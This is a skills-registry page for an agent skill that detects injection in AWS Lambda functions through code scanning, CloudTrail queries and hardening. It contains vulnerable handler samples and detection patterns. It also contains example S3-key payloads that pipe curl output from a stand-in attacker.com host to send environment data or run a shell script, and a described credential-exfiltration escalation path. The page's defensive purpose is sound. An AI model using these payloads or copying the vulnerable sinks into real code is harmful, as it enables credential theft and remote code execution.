Detects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command execution, and IAM privilege escalation via function modification. The analyst combines static analysis of function code, CloudTrail event correlation, runtime behavior monitoring, and IAM policy auditing to identify injection vectors across the expanded serverless attack surface including API Gateway, S3, SQS, DynamoDB Streams, and CloudWatch event triggers. Activates for requests involving Lambda security assessment, serverless injection detection, function event poisoning analysis, or serverless privilege escalation investigation.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versiondetecting-serverless-function-injectionExecute the skills CLI command in your project's root directory to begin installation:
Fetches detecting-serverless-function-injection from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate detecting-serverless-function-injection. Access via /detecting-serverless-function-injection in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
0
total installs
0
this week
8.6K
GitHub stars
0
upvotes
Run in your terminal
0
installs
0
this week
8.6K
stars
| name | detecting-serverless-function-injection |
| description | 'Detects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command execution, and IAM privilege escalation via function modification. The analyst combines static analysis of function code, CloudTrail event correlation, runtime behavior monitoring, and IAM policy auditing to identify injection vectors across the expanded serverless attack surface including API Gateway, S3, SQS, DynamoDB Streams, and CloudWatch event triggers. Activates for requests involving Lambda security assessment, serverless injection detection, function event poisoning analysis, or serverless privilege escalation investigation. ' |
| domain | cybersecurity |
| subdomain | cloud-security |
| tags | - serverless-security - Lambda-injection - event-source-poisoning - OWASP-serverless - IAM-escalation - CloudTrail |
| version | 1.0.0 |
| author | mukul975 |
| license | Apache-2.0 |
| nist_csf | - PR.IR-01 - ID.AM-08 - GV.SC-06 - DE.CM-01 |
eval, exec, child_process.exec, os.system)lambda:UpdateFunctionCode and iam:PassRole can assume higher-privilege execution rolesDo not use for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.
Invoke events) and Management Events (captures UpdateFunctionCode, UpdateFunctionConfiguration, CreateFunction)boto3, bandit (Python SAST), and semgrep for static analysisMap all Lambda functions and their event source triggers to understand injection entry points:
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table
aws lambda list-event-source-mappings --output json | \
jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'
aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table
For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.aws s3api get-bucket-notification-configuration --bucket <bucket-name>
aws lambda get-function-configuration --function-name <name> \
--query 'Environment.Variables' --output json
* resource permissions or administrative policies are high-value escalation targets:
aws iam list-attached-role-policies --role-name <lambda-exec-role>
aws iam list-role-policies --role-name <lambda-exec-role>
Scan function code for dangerous patterns that allow injected event data to execute as code or commands:
Download function deployment packages:
aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip
unzip function.zip -d function_code/
Python injection sinks (Lambda Python runtimes): Search for functions that execute strings as code:
# DANGEROUS: Direct eval/exec of event data
eval(event['expression']) # Code injection via eval
exec(event['code']) # Arbitrary code execution
os.system(event['command']) # OS command injection
subprocess.call(event['cmd'], shell=True) # Shell injection
os.popen(event['input']) # Command injection
pickle.loads(event['data']) # Deserialization attack
yaml.load(event['config']) # YAML deserialization (unsafe loader)
Node.js injection sinks (Lambda Node.js runtimes):
// DANGEROUS: Direct execution of event data
eval(event.expression); // Code injection
new Function(event.code)(); // Dynamic function creation
child_process.exec(event.command); // OS command injection
child_process.execSync(event.cmd); // Synchronous command injection
vm.runInNewContext(event.script); // Sandbox escape potential
require('child_process').exec(event.input); // Import-and-execute pattern
Run Semgrep with serverless rules: Use purpose-built rules that detect event data flowing into injection sinks:
semgrep --config "p/owasp-top-ten" --config "p/command-injection" \
--config "p/python-security" function_code/ --json --output semgrep_results.json
Run Bandit for Python functions:
bandit -r function_code/ -f json -o bandit_results.json \
-t B102,B301,B307,B602,B603,B604,B605,B606,B607
These test IDs specifically target exec, pickle, eval, subprocess with shell=True, and other injection-relevant patterns.
Custom pattern detection: Search for indirect injection patterns where event data is concatenated into strings that are later executed:
# Indirect injection: event data flows into SQL query string
query = f"SELECT * FROM users WHERE id = '{event['userId']}'"
cursor.execute(query) # SQL injection
# Indirect injection: event data flows into template rendering
template = event['template']
rendered = jinja2.Template(template).render() # SSTI
Analyze event sources for injection payloads that exploit how Lambda processes triggers:
S3 event key injection: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:
# Vulnerable Lambda handler
def handler(event, context):
bucket = event['Records'][0]['s3']['bucket']['name']
key = event['Records'][0]['s3']['object']['key']
# VULNERABLE: key is attacker-controlled
os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")
Attack: Upload an object with key ; curl http://attacker.com/exfil?data=$(env) to inject a command through the S3 event.
SQS message body injection: Lambda processes SQS messages where the body contains attacker-controlled data:
# Vulnerable Lambda handler
def handler(event, context):
for record in event['Records']:
message = json.loads(record['body'])
# VULNERABLE: message content used in eval
result = eval(message['formula'])
API Gateway header/parameter injection: HTTP request data passes through API Gateway into the Lambda event:
# Vulnerable Lambda handler
def handler(event, context):
user_agent = event['headers']['User-Agent']
# VULNERABLE: header value used in shell command
subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)
DynamoDB Stream record injection: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:
# Vulnerable Lambda handler
def handler(event, context):
for record in event['Records']:
new_image = record['dynamodb']['NewImage']
config = new_image['config']['S']
# VULNERABLE: DynamoDB record value used in exec
exec(config)
Detection via CloudWatch Logs Insights: Query for evidence of injection attempts in function execution logs:
fields @timestamp, @message
| filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/
| filter @message like /(?i)(error|exception|traceback|syntax)/
| sort @timestamp desc
| limit 100
Identify unauthorized Lambda layers that intercept function execution or exfiltrate data:
Audit current layer attachments: List all functions and their layer versions to identify unexpected additions:
aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json
Detect layer modification events in CloudTrail: Query for UpdateFunctionConfiguration events that add or change layers:
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
--start-time "2026-03-12T00:00:00Z" \
--end-time "2026-03-19T23:59:59Z" \
--query 'Events[*].[EventTime,Username,CloudTrailEvent]'
Parse the CloudTrailEvent JSON to check if Layers was modified in the request parameters.
Analyze layer contents: Download and inspect layer packages for malicious code:
aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \
--query 'Content.Location' --output text | xargs curl -o layer.zip
unzip layer.zip -d layer_contents/
# Search for suspicious patterns
grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/
Layer hijacking indicators: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:
/opt/python/ is imported before the function's own modules/opt/nodejs/node_modules/ overrides function dependenciesboto3 package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpointCloudTrail detection query for layer changes:
{
"source": ["aws.lambda"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"],
"errorCode": [{"exists": false}]
}
}
Identify escalation paths where attackers modify functions to assume higher-privilege roles:
The Lambda privilege escalation pattern: An attacker with lambda:UpdateFunctionCode and iam:PassRole permissions can:
sts:GetCallerIdentity or perform privileged actionsAWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN)Detect UpdateFunctionCode events: Monitor CloudTrail for function code modifications:
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \
--start-time "2026-03-12T00:00:00Z" \
--query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table
Detect PassRole to Lambda: iam:PassRole is required to attach a different execution role to a function. Monitor for this:
# CloudWatch Logs Insights on CloudTrail logs
fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role
| filter eventName = "UpdateFunctionConfiguration20150331v2"
| filter ispresent(requestParameters.role)
| sort eventTime desc
Detect credential exfiltration from Lambda: A compromised function may call STS or create new IAM entities:
fields eventTime, userIdentity.arn, eventName, sourceIPAddress
| filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/
| filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy",
"CreateAccessKey", "AssumeRole", "PutUserPolicy"]
| sort eventTime desc
EventBridge rule for real-time alerting: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:
{
"source": ["aws.lambda"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": [
"UpdateFunctionCode20150331v2",
"UpdateFunctionConfiguration20150331v2",
"CreateFunction20150331"
],
"errorCode": [{"exists": false}]
}
}
Deploy runtime protection controls to prevent injection at execution time:
Input validation at handler entry: Validate and sanitize all event data before processing:
import re
import json
from functools import wraps
SAFE_PATTERNS = {
'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'),
'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
'action': re.compile(r'^(get|list|create|update|delete)$'),
}
def validate_event(schema):
"""Decorator that validates Lambda event against a whitelist schema."""
def decorator(func):
@wraps(func)
def wrapper(event, context):
for field, pattern in schema.items():
value = event.get(field, '')
if isinstance(value, str) and not pattern.match(value):
return {
'statusCode': 400,
'body': json.dumps({'error': f'Invalid {field}'})
}
return func(event, context)
return wrapper
return decorator
@validate_event(SAFE_PATTERNS)
def handler(event, context):
# Event data is validated before reaching this point
user_id = event['userId']
# Safe to use in queries with parameterized statements
return {'statusCode': 200, 'body': json.dumps({'user': user_id})}
Lambda function URL authorization: Ensure functions exposed via URLs require IAM auth:
aws lambda get-function-url-config --function-name <name> \
--query 'AuthType' --output text
# Must return "AWS_IAM", not "NONE"
Least privilege execution roles: Restrict the function's IAM role to the minimum required permissions:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"dynamodb:GetItem",
"dynamodb:PutItem"
],
"Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable"
},
{
"Effect": "Allow",
"Action": "logs:*",
"Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*"
}
]
}
SCP to prevent dangerous Lambda modifications: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyLambdaCodeUpdateExceptCICD",
"Effect": "Deny",
"Action": [
"lambda:UpdateFunctionCode",
"lambda:UpdateFunctionConfiguration"
],
"Resource": "*",
"Condition": {
"StringNotLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole"
}
}
}
]
}
AWS Lambda Powertools for structured logging: Emit structured security events that can be ingested by SIEM:
from aws_lambda_powertools import Logger, Tracer
from aws_lambda_powertools.utilities.validation import validate
logger = Logger(service="payment-processor")
tracer = Tracer()
@logger.inject_lambda_context
@tracer.capture_lambda_handler
def handler(event, context):
logger.info("Processing event", extra={
"source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
"user_agent": event.get('headers', {}).get('User-Agent'),
"http_method": event.get('httpMethod'),
})
| Term | Definition |
|---|---|
| Event Source Poisoning | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event |
| Function Injection | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler |
| Lambda Layer Hijacking | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path |
| IAM Privilege Escalation via Lambda | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials |
| OWASP Serverless Top 10 | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) |
| Cold Start Injection | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context |
| Execution Role | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |
Context: A SOC analyst receives a GuardDuty alert for UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with lambda:UpdateFunctionCode permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.
Approach:
UpdateFunctionCode events in the past 7 days to identify when the function was modified and by which principal:
fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress
| filter eventName = "UpdateFunctionCode20150331v2"
| filter requestParameters.functionName = "payment-processor"
| sort eventTime desc
os.environ['AWS_ACCESS_KEY_ID'], AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN to an external endpoint on each invocationUpdateFunctionConfiguration events with layer changesdynamodb:*, s3:GetObject, s3:PutObject, and sqs:SendMessage across all resources, exceeding least privilegests:GetCallerIdentity, s3:ListBuckets, dynamodb:Scan on the customer table, and iam:CreateUser attemptslambda:UpdateFunctionCode to the CI/CD role onlyPitfalls:
## Serverless Function Injection Assessment
**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19
### Critical Findings
#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
Object key: `; curl http://attacker.com/shell.sh | bash`
Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
and validate the S3 key against an allowlist pattern.
#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:Upda
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
Useful defaults in detecting-serverless-function-injection — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Keeps context tight: detecting-serverless-function-injection is the kind of skill you can hand to a new teammate without a long onboarding doc.
Registry listing for detecting-serverless-function-injection matched our evaluation — installs cleanly and behaves as described in the markdown.
Solid pick for teams standardizing on skills: detecting-serverless-function-injection is focused, and the summary matches what you get after install.
I recommend detecting-serverless-function-injection for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
Useful defaults in detecting-serverless-function-injection — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
detecting-serverless-function-injection has been reliable in day-to-day use. Documentation quality is above average for community skills.
detecting-serverless-function-injection is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
I recommend detecting-serverless-function-injection for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
We added detecting-serverless-function-injection from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
showing 1-10 of 74